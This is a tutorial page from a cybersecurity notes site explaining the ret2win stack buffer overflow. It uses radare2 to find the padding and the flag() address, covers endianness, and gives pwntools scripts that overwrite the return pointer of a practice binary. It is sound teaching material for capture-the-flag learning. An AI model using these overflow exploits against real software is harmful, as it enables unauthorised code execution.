Cybersecurity Notes
MathematicsCryptography
  • Cybersecurity Notes
  • Binary Exploitation
    • Stack
      • Introduction
      • ret2win
      • De Bruijn Sequences
      • Shellcode
      • NOPs
      • 32- vs 64-bit
      • No eXecute
      • Return-Oriented Programming
        • Calling Conventions
        • Gadgets
        • Exploiting Calling Conventions
        • ret2libc
        • Stack Alignment
      • Format String Bug
      • Stack Canaries
      • PIE
        • Pwntools, PIE and ROP
        • PIE Bypass with Given Leak
        • PIE Bypass
      • ASLR
        • ASLR Bypass with Given Leak
        • PLT and GOT
        • ret2plt ASLR bypass
      • GOT Overwrite
        • Exploiting a GOT overwrite
      • RELRO
      • Reliable Shellcode
        • ROP and Shellcode
        • Using RSP
        • ret2reg
          • Using ret2reg
      • One Gadgets and Malloc Hook
      • Syscalls
        • Exploitation with Syscalls
        • Sigreturn-Oriented Programming (SROP)
          • Using SROP
      • ret2dlresolve
        • Exploitation
      • ret2csu
        • Exploitation
        • CSU Hardening
      • Exploiting over Sockets
        • Exploit
        • Socat
      • Forking Processes
      • Stack Pivoting
        • Exploitation
          • pop rsp
          • leave
    • Heap
      • Introduction to the Heap
      • Chunks
      • Freeing Chunks and the Bins
        • Operations of the Fastbin
        • Operations of the Other Bins
      • Malloc State
      • malloc_consolidate()
      • Heap Overflow
        • heap0
        • heap1
      • Use-After-Free
      • Double-Free
        • Double-Free Protections
        • Double-Free Exploit
      • Unlink Exploit
      • The Tcache
        • Tcache: calloc()
        • Tcache Poisoning
      • Tcache Keys
      • Safe Linking
    • Kernel
      • Introduction
      • Writing a Char Module
        • An Interactive Char Driver
        • Interactivity with IOCTL
      • A Basic Kernel Interaction Challenge
      • Compiling, Customising and booting the Kernel
      • Double-Fetch
        • Double-Fetch without Sleep
      • The Ultimate Aim of Kernel Exploitation - Process Credentials
      • Kernel ROP - ret2usr
      • Debugging a Kernel Module
      • SMEP
        • Kernel ROP - Disabling SMEP
        • Kernel ROP - Privilege Escalation in Kernel Space
      • SMAP
      • modprobe_path
      • KASLR
      • KPTI
    • Browser Exploitation
      • *CTF 2019 - oob-v8
        • The Challenge
      • picoCTF 2021 - Kit Engine
      • picoCTF 2021 - Download Horsepower
  • Reverse Engineering
    • Strings in C++
    • C++ Decompilation Tricks
    • Reverse Engineering ARM
  • Blockchain
    • An Introduction to Blockchain
  • Smart Contracts and Solidity
  • Hosting a Testnet and Deploying a Contract
  • Interacting with Python
  • Writeups
    • Hack The Box
      • Linux Machines
        • Easy
          • Traceback
        • Medium
          • Magic
          • UpDown
        • Hard
          • Intense
      • Challenges
        • Web
          • Looking Glass
          • Sanitize
          • Baby Auth
          • Baby Website Rick
        • Pwn
          • Dream Diary: Chapter 1
            • Unlink Exploit
            • Chunk Overlap
          • Ropme
    • picoGym
      • Cryptography
        • Mod 26
        • Mind Your Ps and Qs
        • Easy Peasy
        • The Numbers
        • New Caesar
        • Mini RSA
        • Dachshund Attacks
        • No Padding, No Problem
        • Easy1
        • 13
        • Caesar
        • Pixelated
        • Basic-Mod1
        • Basic-Mod2
        • Credstuff
        • morse-code
        • rail-fence
        • Substitution0
        • Substitution1
        • Substitution2
        • Transposition-Trial
        • Vigenere
        • HideToSee
    • CTFs
      • Fword CTF 2020
        • Binary Exploitation
          • Molotov
        • Reversing
          • XO
      • X-MAS CTF 2020
        • Pwn
          • Do I Know You?
          • Naughty
        • Web
          • PHP Master
      • HTB CyberSanta 2021
        • Crypto
          • Common Mistake
          • Missing Reindeer
          • Xmas Spirit
          • Meet Me Halfway
  • Miscellaneous
    • pwntools
      • Introduction
      • Processes and Communication
      • Logging and Context
      • Packing
      • ELF
      • ROP
    • scanf Bypasses
    • Challenges in Containers
    • Using Z3
    • Cross-Compiling for arm32
Powered by GitBook
On this page
  • Finding the Padding
  • Finding the Address
  • Using the Information
  • Putting it Together
  • Finding the Endianness
  • Accounting for Endianness
  • Pwntools and Endianness
  • Final Exploit

Was this helpful?

Export as PDF
  1. Binary Exploitation
  2. Stack

ret2win

The most basic binexp challenge

Last updated 3 years ago

Was this helpful?

A ret2win is simply a binary where there is a win() function (or equivalent); once you successfully redirect execution there, you complete the challenge.

To carry this out, we have to leverage what we learnt in the introduction, but in a predictable manner - we have to overwrite EIP, but to a specific value of our choice.

To do this, what do we need to know? Well, a couple things:

  • The padding until we begin to overwrite the return pointer (EIP)

  • What value we want to overwrite EIP to

When I say "overwrite EIP", I mean overwrite the saved return pointer that gets popped into EIP. The EIP register is not located on the stack, so it is not overwritten directly.

Finding the Padding

This can be found using simple trial and error; if we send a variable numbers of characters, we can use the Segmentation Fault message, in combination with radare2, to tell when we overwrote EIP. There is a better way to do it than simple brute force (we'll cover this in the next post), but it'll do for now.

You may get a segmentation fault for reasons other than overwriting EIP; use a debugger to make sure the padding is correct.

We get an offset of 52 bytes.

Finding the Address

Now we need to find the address of the flag() function in the binary. This is simple.

$ r2 -d -A vuln
$ afl
[...]
0x080491c3    1 43           sym.flag
[...]

afl stands for Analyse Functions List

The flag() function is at 0x080491c3.

Using the Information

The final piece of the puzzle is to work out how we can send the address we want. If you think back to the introduction, the As that we sent became 0x41 - which is the ASCII code of A. So the solution is simple - let's just find the characters with ascii codes 0x08, 0x04, 0x91 and 0xc3.

This is a lot simpler than you might think, because we can specify them in python as hex:

address = '\x08\x04\x91\xc3'

And that makes it much easier.

Putting it Together

from pwn import *        # This is how we import pwntools

p = process('./vuln')    # We're starting a new process

payload = 'A' * 52
payload += '\x08\x04\x91\xc3'

p.clean()                # Receive all the text

p.sendline(payload)

log.info(p.clean())      # Output the "Exploited!" string to know we succeeded

If you run this, there is one small problem: it won't work. Why? Let's check with a debugger. We'll put in a pause() to give us time to attach radare2 onto the process.

from pwn import *

p = process('./vuln')

payload = b'A' * 52
payload += '\x08\x04\x91\xc3'

log.info(p.clean())

pause()        # add this in

p.sendline(payload)

log.info(p.clean())

Now let's run the script with python3 exploit.py and then open up a new terminal window.

r2 -d -A $(pidof vuln)

By providing the PID of the process, radare2 hooks onto it. Let's break at the return of unsafe() and read the value of the return pointer.

[0x08049172]> db 0x080491aa
[0x08049172]> dc

<< press any button on the exploit terminal window >>

hit breakpoint at: 80491aa
[0x080491aa]> pxw @ esp
0xffdb0f7c  0xc3910408 [...]
[...]

Finding the Endianness

radare2 comes with a nice tool called rabin2 for binary analysis:

$ rabin2 -I vuln
[...]
endian   little
[...]

So our binary is little-endian.

Accounting for Endianness

The fix is simple - reverse the address (you can also remove the pause())

payload += '\x08\x04\x91\xc3'[::-1]

If you run this now, it will work:

$ python3 tutorial.py 
[+] Starting local process './vuln': pid 2290
[*] Overflow me
[*] Exploited!!!!!

And wham, you've called the flag() function! Congrats!

Pwntools and Endianness

Unsurprisingly, you're not the first person to have thought "could they possibly make endianness simpler" - luckily, pwntools has a built-in p32() function ready for use!

payload += '\x08\x04\x91\xc3'[::-1]

becomes

payload += p32(0x080491c3)

Much simpler, right?

The only caveat is that it returns bytes rather than a string, so you have to make the padding a byte string:

payload = b'A' * 52        # Notice the "b"

Otherwise you will get a

TypeError: can only concatenate str (not "bytes") to str

Final Exploit

from pwn import *            # This is how we import pwntools

p = process('./vuln')        # We're starting a new process

payload = b'A' * 52
payload += p32(0x080491c3)   # Use pwntools to pack it

log.info(p.clean())          # Receive all the text
p.sendline(payload)

log.info(p.clean())          # Output the "Exploited!" string to know we succeeded

Now we know the padding and the value, let's exploit the binary! We can use to interface with the binary (check out the for a more in-depth look).

0xc3910408 - look familiar? It's the address we were trying to send over, except the bytes have been reversed, and the reason for this reversal is . Big-endian systems store the most significant byte (the byte with the largest value) at the smallest memory address, and this is how we sent them. Little-endian does the opposite (), and most binaries you will come across are little-endian. As far as we're concerned, the byte are stored in reverse order in little-endian executables.

pwntools
pwntools posts
endianness
for a reason
3KB
ret2win.zip
archive
ret2win